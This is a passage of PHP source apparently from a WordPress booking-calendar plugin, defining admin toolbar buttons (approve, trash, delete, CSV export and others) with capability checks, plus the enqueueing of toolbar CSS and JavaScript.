ajax data * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx_toolbar_force_reload_button( $escaped_search_request_params, $defaults ){ $params = array( 'type' => 'button' , 'title' => '',//__( 'Reset', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Reload bookings listing', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_booking_send_search_request_with_params( { } );", // Some JavaScript 'icon' => array( 'icon_font' => 'wpbc_icn_rotate_right wpbc_spin', //'wpbc_icn_rotate_left', 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_ui_button wpbc_ui_button_primary', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => 'wpbc_booking_listing_reload_button') ); ?><div class="ui_element" style="flex: 0 1 auto;"><?php wpbc_flex_button( $params ); ?></div><?php } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" T o o l b a r A c t i o n B u t t o n s " > // --------------------------------------------------------------------------------------------------------------------- // T o o l b a r A C T I O N S UI elements // --------------------------------------------------------------------------------------------------------------------- function wpbc_ajx__ui__action_button__approve( $escaped_search_request_params ){ $booking_action = 'set_booking_approved'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button' , 'title' => __( 'Approve', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Approve selected bookings', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_booking_ajax_action_request( { 'booking_action' : '{$booking_action}', 'booking_id' : wpbc_get_selected_row_id(), 'reason_of_action' : jQuery( '#reason_of_action' ).val(), 'ui_clicked_element_id': '{$el_id}' } ); wpbc_button_enable_loading_icon( this ); " , 'icon' => array( 'icon_font' => 'wpbc_icn_check_circle_outline', 'position' => 'right', 'icon_img' => '' ), 'class' => 'wpbc_ui_button_primary hide_button_if_no_selection', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => $el_id ) ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__pending( $escaped_search_request_params ){ $booking_action = 'set_booking_pending'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button' , 'title' => __( 'Pending', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Set selected bookings as pending', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "if ( wpbc_are_you_sure('" . esc_attr( __( 'Do you really want to set booking as pending ?', 'booking' ) ) . "') ) { wpbc_ajx_booking_ajax_action_request( { 'booking_action' : '{$booking_action}', 'booking_id' : wpbc_get_selected_row_id(), 'reason_of_action' : jQuery( '#reason_of_action' ).val(), 'ui_clicked_element_id': '{$el_id}' } ); wpbc_button_enable_loading_icon( this ); }" , 'icon' => array( 'icon_font' => 'wpbc_icn_block', 'position' => 'right', 'icon_img' => '' ), 'class' => 'hide_button_if_no_selection', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => $el_id ) ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__trash( $escaped_search_request_params ){ $booking_action = 'move_booking_to_trash'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button' , 'title' => __( 'Trash / Reject', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Reject booking - move selected bookings to trash', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "if ( wpbc_are_you_sure('" . esc_attr( __( 'Do you really want to do this ?', 'booking' ) ) . "') ) { wpbc_ajx_booking_ajax_action_request( { 'booking_action' : '{$booking_action}', 'booking_id' : wpbc_get_selected_row_id(), 'reason_of_action' : jQuery( '#reason_of_action' ).val(), 'ui_clicked_element_id': '{$el_id}' } ); wpbc_button_enable_loading_icon( this ); }" , 'icon' => array( 'icon_font' => 'wpbc_icn_delete_outline', 'position' => 'right', 'icon_img' => '' ), 'class' => 'hide_button_if_no_selection', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => $el_id ) ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__restore( $escaped_search_request_params ){ $booking_action = 'restore_booking_from_trash'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button' , 'title' => __( 'Restore', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Restore selected bookings', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "if ( wpbc_are_you_sure('" . esc_attr( __( 'Do you really want to do this ?', 'booking' ) ) . "') ) { wpbc_ajx_booking_ajax_action_request( { 'booking_action' : '{$booking_action}', 'booking_id' : wpbc_get_selected_row_id(), 'reason_of_action' : jQuery( '#reason_of_action' ).val(), 'ui_clicked_element_id': '{$el_id}' } ); wpbc_button_enable_loading_icon( this ); }" , 'icon' => array( 'icon_font' => 'wpbc_icn_rotate_left', 'position' => 'right', 'icon_img' => '' ), 'class' => 'hide_button_if_no_selection', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => $el_id ) ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__delete( $escaped_search_request_params ){ $booking_action = 'delete_booking_completely'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button' , 'title' => __( 'Delete', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Delete selected bookings', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "if ( wpbc_are_you_sure('" . esc_attr( __( 'Do you really want to delete selected booking(s) ?', 'booking' ) ) . "') ) { wpbc_ajx_booking_ajax_action_request( { 'booking_action' : '{$booking_action}', 'booking_id' : wpbc_get_selected_row_id(), 'reason_of_action' : jQuery( '#reason_of_action' ).val(), 'ui_clicked_element_id': '{$el_id}' } ); wpbc_button_enable_loading_icon( this ); }" , 'icon' => array( 'icon_font' => 'wpbc_icn_close', 'position' => 'right', 'icon_img' => '' ), 'class' => 'hide_button_if_no_selection', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => $el_id ) ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_text__delete_reason( $escaped_search_request_params ){ $params = array( 'type' => 'text' , 'id' => 'reason_of_action' , 'name' => 'reason_of_action' , 'label' => '' , 'disabled' => false , 'class' => 'hide_button_if_no_selection' , 'style' => '' , 'placeholder' => __( 'Reason of action', 'booking' ) , 'attr' => array() , 'value' => '' , 'onfocus' => '' ); wpbc_flex_text( $params ); } function wpbc_ajx__ui__action_button__readall( $escaped_search_request_params ){ $booking_action = 'set_booking_as_read'; $el_id = 'ui_btn_all_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button' , 'title' => __( 'Read All', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Mark as read all bookings', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_booking_ajax_action_request( { 'booking_action' : '{$booking_action}', 'booking_id' : '-1', 'reason_of_action' : jQuery( '#reason_of_action' ).val(), 'ui_clicked_element_id': '{$el_id}' } ); wpbc_button_enable_loading_icon( this ); " , 'icon' => array( 'icon_font' => 'wpbc_icn_disabled_visible', 'position' => 'right', 'icon_img' => '' ), 'class' => '', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => !true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => $el_id ) ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__read( $escaped_search_request_params ){ $booking_action = 'set_booking_as_read'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button' , 'title' => __( 'Read', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Mark as read selected bookings', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_booking_ajax_action_request( { 'booking_action' : '{$booking_action}', 'booking_id' : wpbc_get_selected_row_id(), 'reason_of_action' : jQuery( '#reason_of_action' ).val(), 'ui_clicked_element_id': '{$el_id}' } ); wpbc_button_enable_loading_icon( this ); " , 'icon' => array( 'icon_font' => 'wpbc_icn_visibility_off', 'position' => 'right', 'icon_img' => '' ), 'class' => 'hide_button_if_no_selection', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => !true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => $el_id ) ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__unread( $escaped_search_request_params ){ $booking_action = 'set_booking_as_unread'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button' , 'title' => __( 'Unread', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Mark as Unread selected bookings', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_booking_ajax_action_request( { 'booking_action' : '{$booking_action}', 'booking_id' : wpbc_get_selected_row_id(), 'reason_of_action' : jQuery( '#reason_of_action' ).val(), 'ui_clicked_element_id': '{$el_id}' } ); wpbc_button_enable_loading_icon( this ); " , 'icon' => array( 'icon_font' => 'wpbc_icn_visibility', 'position' => 'right', 'icon_img' => '' ), 'class' => 'hide_button_if_no_selection', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => !true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => $el_id ) ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__print( $escaped_search_request_params ){ $user_bk_id = 1; $params = array( 'type' => 'button', 'title' => __( 'Print', 'booking' ) . ' ', 'hint' => array( 'title' => __( 'Print bookings listing', 'booking' ), 'position' => 'top' ), 'link' => 'javascript:void(0)', 'action' => "wpbc_print_dialog__show();", 'icon' => array( 'icon_font' => 'wpbc_icn_print', 'position' => 'right', 'icon_img' => '' ), 'class' => '', 'style' => '', 'attr' => array(), 'mobile_show_text' => true ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__import( $escaped_search_request_params ){ $booking_action = 'import_google_calendar'; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $booking_gcal_feed = get_bk_option( 'booking_gcal_feed'); if ( ( ! class_exists( 'wpdev_bk_personal' ) ) && ( $booking_gcal_feed == '' ) ) { $is_this_btn_disabled = true; } else { $is_this_btn_disabled = false; } $params = array( 'type' => 'button', 'title' => __( 'Import', 'booking' ) . ' ', 'hint' => array( 'title' => __( 'Import Google Calendar Events', 'booking' ), 'position' => 'top' ), 'link' => 'javascript:void(0)', 'action' => " if ( 'function' === typeof( jQuery('#wpbc_modal__import_google_calendar__section').wpbc_my_modal ) ) { jQuery('#wpbc_modal__import_google_calendar__section').wpbc_my_modal('show'); } else { alert( 'Warning! wpbc_my_modal module has not found. Please, recheck about any conflicts by deactivating other plugins.'); }", 'icon' => array( 'icon_font' => 'wpbc_icn_event', 'position' => 'right', 'icon_img' => '' ), 'class' => '',//( $is_this_btn_disabled ? ' disabled' : '' ), 'style' => '', 'attr' => array(), 'mobile_show_text' => true ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__export_csv( $escaped_search_request_params ){ if ( ! class_exists( 'wpdev_bk_personal' ) ) { return false; } $booking_action = 'export_csv'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button', 'title' => __( 'Export to CSV', 'booking' ) . ' ', 'hint' => array( 'title' => __( 'Export bookings to CSV format', 'booking' ), 'position' => 'top' ), 'link' => 'javascript:void(0)', //'action' => wpbc_csv_get_url_for_button( 'page' ), 'action' => "if ( 'function' === typeof( jQuery('#wpbc_modal__export_csv__section').wpbc_my_modal ) ) { jQuery('#wpbc_modal__export_csv__section').wpbc_my_modal('show'); } else { alert( 'Warning! wpbc_my_modal module has not found. Please, recheck about any conflicts by deactivating other plugins.'); }", 'icon' => array( 'icon_font' => 'wpbc_icn_file_upload', 'position' => 'right', 'icon_img' => '' ), 'class' => '', 'style' => '', 'attr' => array( 'id' => $el_id ), 'mobile_show_text' => true ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__export_csv_page( $escaped_search_request_params ){ if ( ! class_exists( 'wpdev_bk_personal' ) ) { return false; } $booking_action = 'export_csv'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button', 'title' => __( 'Export page to CSV', 'booking' ) . ' ', 'hint' => array( 'title' => __( 'Export only current page of bookings to CSV format', 'booking' ), 'position' => 'top' ), 'link' => 'javascript:void(0)', //'action' => wpbc_csv_get_url_for_button( 'page' ), 'action' => "wpbc_ajx_booking__ui_click__export_csv( { 'booking_action' : '{$booking_action}', 'ui_clicked_element_id': '{$el_id}', 'export_type': 'csv_page' } );", 'icon' => array( 'icon_font' => 'wpbc_icn_file_upload', 'position' => 'right', 'icon_img' => '' ), 'class' => '', 'style' => '', 'attr' => array( 'id' => $el_id ), 'mobile_show_text' => true ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__export_csv_all( $escaped_search_request_params ){ if ( ! class_exists( 'wpdev_bk_personal' ) ) { return false; } $booking_action = 'export_csv'; $el_id = 'ui_btn_' . $booking_action . '_all'; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button', 'title' => __( 'Export all pages to CSV', 'booking' ) . ' ', 'hint' => array( 'title' => __( 'Export All bookings to CSV format', 'booking' ), 'position' => 'top' ), 'link' => 'javascript:void(0)', //'action' => wpbc_csv_get_url_for_button( 'all' ), 'action' => "wpbc_ajx_booking__ui_click__export_csv( { 'booking_action' : '{$booking_action}', 'ui_clicked_element_id': '{$el_id}', 'export_type': 'csv_all' } );", 'icon' => array( 'icon_font' => 'wpbc_icn_publish', 'position' => 'right', 'icon_img' => '' ), 'class' => '', 'style' => '', 'attr' => array( 'id' => $el_id ), 'mobile_show_text' => true ); wpbc_flex_button( $params ); } function wpbc_ajx__ui__action_button__empty_trash( $escaped_search_request_params ){ $booking_action = 'empty_trash'; $el_id = 'ui_btn_' . $booking_action; if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $params = array( 'type' => 'button' , 'title' => __( 'Empty Trash', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Empty Trash', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "if ( wpbc_are_you_sure('" . esc_attr( __( 'Do you really want to do this ?', 'booking' ) ) . "') ) { wpbc_ajx_booking_ajax_action_request( { 'booking_action' : '{$booking_action}', 'ui_clicked_element_id': '{$el_id}' } ); wpbc_button_enable_loading_icon( this ); }" , 'icon' => array( 'icon_font' => 'wpbc_icn_delete_forever', 'position' => 'right', 'icon_img' => '' ), 'class' => '', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => $el_id ) ); wpbc_flex_button( $params ); } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" T o o l b a r O p t i o n s B u t t o n s " > function wpbc_ajx__ui__options_checkbox__send_emails( $escaped_search_request_params, $defaults ){ $el_id = 'ui_usr__send_emails'; $el_value = isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ]; $params_checkbox = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => array( 'title' => __( 'Emails sending', 'booking' ) , 'position' => 'right' ) //FixIn: 9.6.1.5 , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from optins array that selected by default , 'selected' => ( ( 'send' == $el_value ) ? true : false ) // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_booking_send_search_request_with_params( {'ui_usr__send_emails': (jQuery( this ).is(':checked') ? 'send' : 'not_send') } );" // JavaScript code //, 'hint' => array( 'title' => __('Filter bookings by booking status' ,'booking') , 'position' => 'top' ) ); wpbc_flex_toggle( $params_checkbox ); } function wpbc_ajx__ui__options_checkbox__is_expand_remarks( $escaped_search_request_params, $defaults ){ $el_id = 'ui_usr__is_expand_remarks'; $el_value = isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ]; $params_checkbox = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => array( 'title' => __( 'Show / hide notes', 'booking' ) , 'position' => 'left' ) , 'legend' => __('Check this box if you want to open notes section by default in Booking Listing page.' ,'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from optins array that selected by default , 'selected' => ( ( 'On' == $el_value ) ? true : false ) // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_booking_send_search_request_with_params( {'ui_usr__is_expand_remarks': (jQuery( this ).is(':checked') ? 'On' : 'Off') } );" // JavaScript code ); wpbc_flex_toggle( $params_checkbox ); } // </editor-fold> // --------------------------------------------------------------------------------------------------------------------- // JS & CSS Loading // --------------------------------------------------------------------------------------------------------------------- /** * CSS files loading * * @param string $where_to_load */ function wpbc_ajx_toolbar_enqueue_css_files( $where_to_load ) { if ( ( is_admin() ) && ( in_array( $where_to_load, array( 'admin', 'both' ) ) ) ) { wp_enqueue_style( 'wpbc-flex-toolbar', wpbc_plugin_url( '/includes/_toolbar_ui/_src/toolbar_ui.css' ), array(), WP_BK_VERSION_NUM ); } } add_action( 'wpbc_enqueue_css_files', 'wpbc_ajx_toolbar_enqueue_css_files', 50 ); /** * JS files loading * * @param string $where_to_load */ function wpbc_ajx_toolbar_enqueue_js_files( $where_to_load ) { $in_footer = true; if ( ( is_admin() ) && ( in_array( $where_to_load, array( 'admin', 'both' ) ) ) ) { wp_enqueue_script( 'wpbc-flex-toolbar-ui', wpbc_plugin_url( '/includes/_toolbar_ui/_out/toolbar_ui.js' ), array( 'wpbc_all' ), WP_BK_VERSION_NUM, $in_footer ); /** * wp_localize_script( 'wpbc_all', 'wpbc_live_request_obj' , array( 'contacts' => '', 'reminders' => '' ) ); */ } } add_action( 'wpbc_enqueue_js_files', 'wpbc_ajx_toolbar_enqueue_js_files', 50 ); // 2024-08-13